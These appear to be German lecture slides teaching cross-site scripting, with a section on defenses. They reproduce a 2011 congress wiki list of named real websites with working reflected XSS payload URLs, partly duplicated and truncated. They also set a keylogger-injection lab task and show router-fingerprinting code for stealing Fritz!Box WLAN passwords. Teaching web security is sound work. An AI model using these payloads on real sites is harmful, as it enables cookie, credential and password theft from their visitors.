Cross-Site-Scripting

XSS

Kurze Definition:

HTML Injection in Webseiten, die Benutzereingaben nicht oder ungenügend prüfen (und zurückgeben).

- Über: GET-, POST-Parameter, Cookies etc.

http://events.ccc.de/congress/2011/wiki/Hacked

Page | Discussion | View source | History

28C3 - behind enemy lines

Navigation

Welcome
Schedule
Tickets
Travel
Venue
Supporters
Recent changes

Search

Go | Search

Toolbox

What links here
Related changes
Special pages
Printable version
Permanent link

Hacked

Contents

[hide]

Defaced

- http://www.bdo.ch/ (http://imgur.com/G4Tz2)
- http://www.fdp-zhstadt.ch/ (http://imgur.com/URwFu)

XSS

- http://bild5.de/users.php?a=forgotpwd (<img src=http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png> ins Feld Email) Auch: FIRST!
- http://www.zack-zack.com/html/detail/comments/questions.html?itemId=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
- http://ragequit-gaming.de/index.php?user-details-33 (registierung freigeben Hardwarefelder im Profil werden nicht richtig escaped)
- http://ka-nightlife.de/searchpic.php?sp_event_id=&sid=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3Ca%20href=%22
- http://www.bistum-eichstaett.de/suche/?q="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.bistummainz.de/bistum/suche.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.bistum-hildesheim.de/bho/dcms/sites/bistum/suche.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.dicverfurt.caritas.de/suche?searchquery="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.erzbistum-bamberg.de/suche/index.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://mentana-claimsoft.de/artforms/11.html Mentana-Claimsoft, **DE-Mail provider**, see here for details - probably also vulnerable CMS.
- http://www.wir-sind-kirche.de/index.php?searchfor=%3Cimg+src%3Dhttp%3A%2F%2Fevents.ccc.de%2Fcongress%2F2011%2Fwiki%2Fskins%2Fbehindenemylines%2Flogo_klein.png+%2F%3E&special=search&Submit=Suchen
- http://www.uni-freiburg.de/search?SearchableText=%22%3E%3C%2Fscript%3E+%3Cscript%3Ealert%28%22behind+enemy+lines%22%29%3C%2Fscript%3E
- http://fundsuche02.kivbf.de/MyApp.asp?wci=FundHeader&Mdt=Karlsruhe-VBK&format=&PLZ=%3Cimg%20src=%22http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png%22%3E (you have to convert all the %20 etc. by hand as mediawiki is a crap)
- http://www.musik-base.de/suche (Search field)
- http://www.filorama.com/search/?q=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E
- http://www.hostprofis.com/website/index.php?site=http://youporn.com&land=de
- http://www.lukas-erzett.de/produkte/head.php?lang=de&farbe=000&schnft=%3Cimg%20src=http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png%3E&head=./header.gif
- http://login.tf1.fr /src/identification.php?p=e3JlZmVyZXIgc3J2X2lkIHVudl9pZH0ge2h0dHA6Ly93d3cudGYxLmZyL3NlY3JldC1zdG9yeS9hY3R1LWxpdmUvIDI5NTUgIj48c2NyaXB0PmRvY3VtZW50LmxvY2F0aW9uLmhyZWY9Imh0dHA6Ly9 (the nice picture is a bonus ;))
- http://www.swoodoo.com (departure/arrival input field)
- http://search.epfl.ch/process_web2010?engine=person&lang=en&q="><script>alert("Behind+enemy+lines")</script>
- http://whatsmyuseragent.com/
  - use this as user agent: <img src=http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png>
- http://www.gulli.com/internet/tools/net/anonymitaetscheck
  - use this as user agent: <img src=http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png>
- http://gudrunpieper.de/popup.php?url=http://www.art49.com/art49/art49wien.nsf/0/9EE400CEBCE11BCCC125704B003EC561/$file/Global_Porn.jpg or any site
- http://gudrunpieper.de/index.php?ka=1&ska=suche&suchwort=%22+onclick%3Dalert%28document.cookie%29+bla%3D%22&x=0&y=0
- NPD (right wing party):

XSS

XSS

- http://bild5.de/users.php?a=forgotpwd (<img src=http://events.ccc.de/congress/2011/wiki/skins/behindenemylines/logo_klein.png> ins Feld Email) Auch: FIRST
- http://www.zack-zack.com/html/detail/comments/questions.html?itemId=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
- http://ragequit-gaming.de/index.php?user-details-33 (registierung freigeben Hardwarefelder im Profil werden nicht richtig escaped)
- http://ka-nightlife.de/searchpic.php?sp_event_id=&sid=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3Ca%20href=%22
- http://www.bistum-eichstaett.de/suche/?q="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.bistummainz.de/bistum/suche.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.bistum-hildesheim.de/bho/dcms/sites/bistum/suche.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.dicverfurt.caritas.de/suche?searchquery="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://www.erzbistum-bamberg.de/suche/index.html?f_action=search&f_search_words="><script>alert("Behind+enemy+lines")<%2Fscript>
- http://mentana-claimsoft.de/artforms/11.html Mentana-Claimsoft, **DE-Mail provider**, see here for details - probably also vulnerable CMS.
- http://www.wir-sind-kirche.de/index.php?searchfor=%3Cimg+src%3Dhttp%3A%2F%2Fevents.ccc.de%2Fcongress%2F2011%2Fwiki%2Fskins%2Fbehindenen special=search&Submit=Suchen
- http://www.uni-freiburg.de/search?SearchableText=%22%3E%3C%2Fscript%3E+%3Cscript%3Ealert%28%22behind+enemy+lines%22%29%3C%2Fscript%3E
- http://fundsuche02.kivbf.de/MyApp.asp?wci=FundHeader&Mdt=Karlsruhe-VBK&format=&PLZ=%3Cimg%20src=%22http://events.ccc.de/congress/2011/wiki/s %22%3E (you have to convert all the %20 etc. by hand as mediawiki is a crap)
- http://www.musik-base.de/suche (Search field)
- http://www.filorama.com/search/?q=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E
- http://www.hostprofis.com/website/index.php?site=http://youporn.com&land=de

http://www.filorama.com/search/?q=
"><script>alert('XSS')</script>

XSS

In den Top 3 der *Web Application Security Risks*

- A1 Injection
- A2 Broken Authentication and Session Management (was formerly A3)
- A3 Cross-Site Scripting (XSS) (was formerly A2)
- A4 Insecure Direct Object References
- A5 Security Misconfiguration (was formerly A6)

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

XSS

Aufgabe:

- **XSS-Lücke** finden
  http://192.168.?.?
- **Keylogger** einschleusen
  http://192.168.?.?/xss.js
- **Bonus**: verdächtige Fehlermeldung unterdrücken

XSS

Was ist mit XSS möglich?

- Benutzerinteraktionen loggen
- Ersetzen von Inhalten
- Cookies abgreifen
- Weiterleiten auf beliebige (verseuchte) Webseiten
- Absenden von Formularen

⇒ Angreifer sieht alles, was im Browser passiert!

XSS

Was ist mit XSS möglich?

- **Privilegierte Nutzer wird als ”Proxy” benutzt** (kein XSS, sondern Cross-Site-Request-Forgery)
- **Fernsteuerung fremder Browser:**

  http://airodump.net/advanced-cross-site-scripting-xss/

XSS

Verschleierung

- Link-Shortener
- Eingebettet in ”harmlose Webseite” des Angreifers
  - z.B. durch Frames

Angriff lokaler Ressourcen

- **Router**
- **Drucker, Mediaplayer, Fernseher?**
- **jegliche Form von Webinterface auf Computern im LAN**
  - MythTV
  - jDownloader, pyLoad, torrent
  - lokaler nginx, Apache

XSS

Erfolgreicher Angriff: Fritz!Box

- Versuchen Router-spezifisches Bild zu laden

```
// load image from router webinterface to determine router type
    var pic = new Image();
    pic.src="http://192.168.178.2/html/de/images/fw_header980.gif";

// give router 3.5 sec to deliver the requested image, check whether
setTimeout(function(){
    if (pic.complete) {
        //alert("pic loaded successfully.");
        document.getElementById("iframe").src = "redirect.php";
    } else {
        alert("Your router is currently not supported.");
    }
},3500);
```

XSS

Erfolgreicher Angriff: Fritz!Box

- angreifbare Routerseite mit eingeschleustem Script in iFrame laden
- Inhalte/Benutzerinteraktionen per HTTP-Request an den Angreifer-Server zurücksenden
  - ISP-Daten
  - WLAN-Passwort,
  - WLAN-MAC ...

XSS

Erfolgreicher Angriff: Fritz!Box

- sehr einfacher Angriff
- auf beliebigen (Angreifer-) Webseiten ausführbar
- sogar ferngesteuert Flashen möglich

- in neueren Firmware-Versionen gefixt

XSS

Abwehr?

- **als Betreiber:**
  - **Benutzereingaben niemals ungefiltert verwenden**
  - **Hürde: Login + Sessions** (Fritz!Box)
- **als Benutzer:**
  - **NoScript**
  - **ABE - Application Boundaries Enforcer** (ähnlich Firewall)

Quelle:
http://noscript.net/

Quelle:
http://hackademix.net/2009/06/

Ergänzungen?

Fragen?

Mehr:

http://www.net-security.org/dl/articles/Javascript_malware.pdf